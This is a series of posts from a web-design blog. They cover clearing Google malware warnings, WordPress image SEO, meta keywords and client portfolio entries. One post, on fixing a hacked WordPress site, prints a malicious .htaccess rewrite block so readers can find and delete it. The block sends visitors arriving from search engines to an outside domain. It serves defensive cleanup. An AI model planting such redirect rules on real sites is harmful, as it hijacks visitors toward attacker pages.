Today’s impact was huge. As an example, I have 10 blogging friends that I absolutely adore. Of those 10, five were affected – that’s 50%! The Google malware warning removal process is not quick by any means, in fact, it’s slow as crap. They take their sweet time, even when it’s Google’s fault or a “fake” malware warning. And there’s nothing you can do about it except follow the steps below to speed up the process.

1. You’ve been affected and you’re getting the big nasty red Google malware warning shown above. Bummer… I’ve totally been there. The first thing you need to do is figure out what is causing the warning and remove anything related it. For example, today’s malware warning was from escalatenetwork.net and is affecting all WordPress widgets, iframes, and images hosted by escalatenetwork.net.
2. Request a Malware Review with Google Webmaster Tools. The process is as follows:
   • Log in to Google Webmaster Tools.
   • From the Tool’s home page click on the link to the site that is being flagged to go to the site’s Dashboard.
   • There should be a large red banner across the top of the dashboard that says “This site may be distributing malware.” Clicking on the link that says “More Details” expands the dashboard to reveal a list of pages on the site that were found to be malicious. (You can also check Health -> Malware.)
   • Below this list is a link that says “Request a review.” Fill out this form and click the “Request a review” button to initiate the review process.
   • NOTE: It may take 24-48 hours just for the warning to show up in Google Webmasters Tools. This is the most frustrating and time-consuming part of the entire process.
3. Sit back and wait. Normally, after you’ve completed step 2, things go pretty quickly from here. Try not to get too irritated while you wait.
4. Periodically check Google Webmaster Tools to see if the error is gone. You can also use this link to see if your site is currently clean (according to Google), just replace YOURURLHERE with your URL: http://www.google.com/safebrowsing/diagnostic?site=www.YOURURLHERE.com
5. Once your site no longer shows a Google malware warning, you need to request reconsideration of your site by Google. Rumor says they stop indexing your site when you have malware so you’ll want to make sure they start checking it again.

Four helpful links to check your site’s health and speed up the malware removal process:

• http://www.google.com/safebrowsing/diagnostic?site=www.YOURURLHERE.com (replace YOURURLHERE)
• http://www.unmaskparasites.com/security-report/
• http://sitecheck.sucuri.net/scanner/
• http://www.stopbadware.org/home/review/

I hope this post provides you with a step-by-step process for getting rid of a Google malware warning. If you’ve found this useful, please share it with a friend. Good luck against the Google giant!

PS. Want to read my Google malware horror story? You can find it here.

How to Remove a Google Malware Warning is a post by Simple Mama Blog & Web Design

Search Engines “See” Differently

Search engine visitors (such as you and I) can see what an image is about just by looking at our monitors but search engines don’t have that luxury. The only thing a search engine “sees” is the title and file name. These two things are the key to the SEO of your images.

To optimize images for SEO, all images should have:

• Relevant file names: Naming a photo unicorns.jpg when it is a photo of puppies isn’t the best tactic. Instead, include a relative SEO keyword in your image file name. Also, don’t use spaces in your file names; use dashes ( – ) or underscores ( _ ).
• TITLE and ALTERNATE TEXT (ALT) definitions: This should be a short sentence or phrase describing the image. Be sure to include relevant SEO keywords. Note: ALT text isn’t really necessary for SEO but ALT text displays should there be a problem loading your image on your blog. ALT text is also useful for accessibility for visually-impaired visitors. ALT text is also what appears when a mouse arrow hovers over an image.

The other fields are not necessary and have nothing to do with search engine optimization.

And while we’re at it, if you have an image that doesn’t need to be clicked on while in a blog post (like the one at the top), then click the “None” button below the “Link URL”. The only time the Link URL should remain is when you have an image that needs to be viewed larger, such as a photo of food or instructional images (like the one to the right).

Real-Time Image SEO Examples

The SEO image at the top of this post is named seo.jpg and has TITLE and ALT text descriptions of ‘SEO’ for both. It is an image about SEO so that is what I would like people to search for to find it.

The instructional image above is named wordpress-image-seo.jpg and has TITLE and ALT text descriptions of wordpress-image-seo. (Are you seeing a pattern here? Yes, dashes are okay!)

So the next time you need to add an image to a WordPress post or page, do yourself an SEO favor and give the image a relevant file name and keyword-driven TITLE and ALT tags. Your analytics will thank you for it.

How to Optimize WordPress Images for SEO is a post by Simple Mama Blog & Web Design

How to Know You’ve Been Hacked

A simple way to find out if you’ve been hacked is to search for your blog on Google and click a link to any of your blog pages. If you have been hacked, here is how to fix it.

1. View/edit your .htaccess file located in your root WordPress directory. If you don’t know how to find this file or don’t have access to your files, then download and install the plugin WP Htaccess Editor. Warning: You can seriously mess up your blog if you delete or add something incorrectly to your .htaccess file. Please only mess with this file if you know what you’re doing or have explicit instructions on what to do (like I have provided below).
2. Find and delete the entire hack (shown below) which is usually located at the top of the .htaccess file:
   

   <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteOptions inherit
    RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
    RewriteRule .*http://sokoloperkovuskecl.com/in.php?g=56 [R,L]
    </IfModule>

3. If you’re using the WordPress plugin, save the file. If you’re editing the file on your server, you will need to save and/or upload the file.

Why You Were Hacked

You didn’t do anything wrong; don’t worry! The problem lies with a vulnerability in timthumb.php which is a component of some WordPress themes that is used to generate thumbnails. An unpatched timthumb.php file can allow code to be executed in the timthumb cache directory or can inject code into other WordPress files. If you’re concerned about this, ask your theme developer if your theme uses timthumb.php. If it does, make sure you have the newest version.

How to Prevent Your Blog From Being Hacked Again

If you don’t protect your blog, you will be hacked again. To prevent this, download and install the plugin BulletProof Security. I will walk you through the steps to setup BulletProof Security since this plugin may appear a little overwhelming.

1. Navigate to BPS Security in your WordPress admin.
2. Click the Backup & Restore tab, select the radio button next to “Backup .htaccess Files” and click “Backup Files.” (This is a security measure should you need to restore from your original backup.)
3. Click the Security Modes tab. Click Backup .htaccess Files. Then click Backup .htaccess Files.
4. Select the radio button next to the first “BulletProof Mode” and click “Activate.” Repeat this process for the other three “BulletProof Mode” radio buttons (one at a time) and click “Activate” after each one.
5. Click the Backup & Restore tab, click the radio button next to “Backup BPS Master .htaccess Files” and click “Backup BPS Master .htaccess Files.”

If you’d like to check the security status of your blog, click the Security Status tab. All items should be green. If they aren’t green, you should fix them. If you don’t know how, tell me and I’ll try to help you.

Happy blogging!

WordPress Blog Hacked? This May Help. is a post by Simple Mama Blog & Web Design

Instead of researching meta keywords, focus your attention on:

• Including keywords in the title (blog, website, page, post titles, etc)
• Including keywords in meta description (increases search engine click-through rates)
• Including keywords in your post, as close to the beginning as possible
• Including keywords in the URL
• Website speed (slow pages = lower rankings)

As an example, for this post I want to rank high in search engines for the keywords “Meta Keywords” and “Google”. I have used these keywords in the title, the meta description, the post, and the URL. And hopefully Google will show me some love.

Happy blogging!

Don’t Waste Time on Meta Keywords. Google Doesn’t. is a post by Simple Mama Blog & Web Design

• Platform: WordPress
• Theme: PageLines PlatformPro
• Extras:
  • Customized child theme
  • Advertising (in-post and elsewhere)
  • Tweet box
  • Comment numbering system
  • Post sharing tool
  • Image viewer
  • Contact form
  • Button area
  • Google Friend Connect
  • Facebook, Twitter, and more
  • Email newsletter & RSS
  • Auto-post to Twitter
  • Search engine optimization
  • Anti-spam
  • Database repair, optimization, and backup
  • Google Analytics
  • Sitemap support
  • Link structure
  • Admin statistics & subscribers panel
  • Various others
• Created:
  • Logo
  • Button
  • Facebook page (auto-posts using Networked Blogs)
  • Twitter page (auto-posts from blog)

Freebie Spot is a highly visited blog with plenty of features. Check it out and enjoy your visit.

Portfolio: Freebie Spot is a post by Simple Mama Blog & Web Design

• Platform: Joomla
• Theme: GolfPraise
• Extras:
  • Slideshows and galleries
  • Newsletter with custom templates
  • Search engine optimization
  • Monthly coupons
  • Custom promotional graphics
  • Google Analytics
  • Facebook integration
• Created:
  • Redesigned Logo
  • Facebook page

Note from Jenny: I do not recommend using the Joomla platform. It is not user friendly and most upgrades require payment. Please don’t ask me to design for you using Joomla. It will make me sad.

Portfolio: Coyote Creek Golf Club is a post by Simple Mama Blog & Web Design

• Platform: CMS Made Simple
• Theme: n/a
• Extras:
  • Several detailed informational pages
  • Search engine optimization
• Created:
  • Custom graphics
  • Logo
  • Header

Portfolio: Netsphere is a post by Simple Mama Blog & Web Design

• Platform: WordPress
• Theme: PageLines PlatformPro
• Extras:
  • Carousel slide show
  • Informational boxes
  • Recipe entry
  • Recipe ratings system
  • Recipe print
  • Image viewer
  • Post sharing tool
  • Contact form
  • Advertising / button area
  • Google Friend Connect
  • Facebook, Twitter, and more
  • Email newsletter & RSS
  • Auto-post to Twitter
  • Search engine optimization
  • Anti-spam
  • Database repair, optimization, and backup
  • Google Analytics
  • Sitemap support
  • Link structure
  • Admin statistics & subscribers panel
  • Various others
• Created:
  • Logo
  • Button
  • Facebook page (auto-posts using Networked Blogs)
  • Twitter page (auto-psts from blog)

The Healthified Mom includes so much more so take a look around to see what inspires you.

Portfolio: The Healthified Mom is a post by Simple Mama Blog & Web Design

• Platform: Pure XHTML, PHP, JavaScript, and CSS
• Extras:
  • Affiliate Marketing
  • Google Analytics
  • Search Engine Optimization
• Created:
  • Logo
  • Header
  • Banners

Portfolio: Find A Survey is a post by Simple Mama Blog & Web Design

• Platform: osCommerce
• Theme: Custom
• Extras:
  • Fully-functional e-commerce
  • Online ordering and payments
  • Featured products
  • News updates
  • Special offers
  • Live help
• Created:
  • Logo
  • Theme

osCommerce is an excellent resource for any business looking to sell their products online.

Portfolio: HRM is a post by Simple Mama Blog & Web Design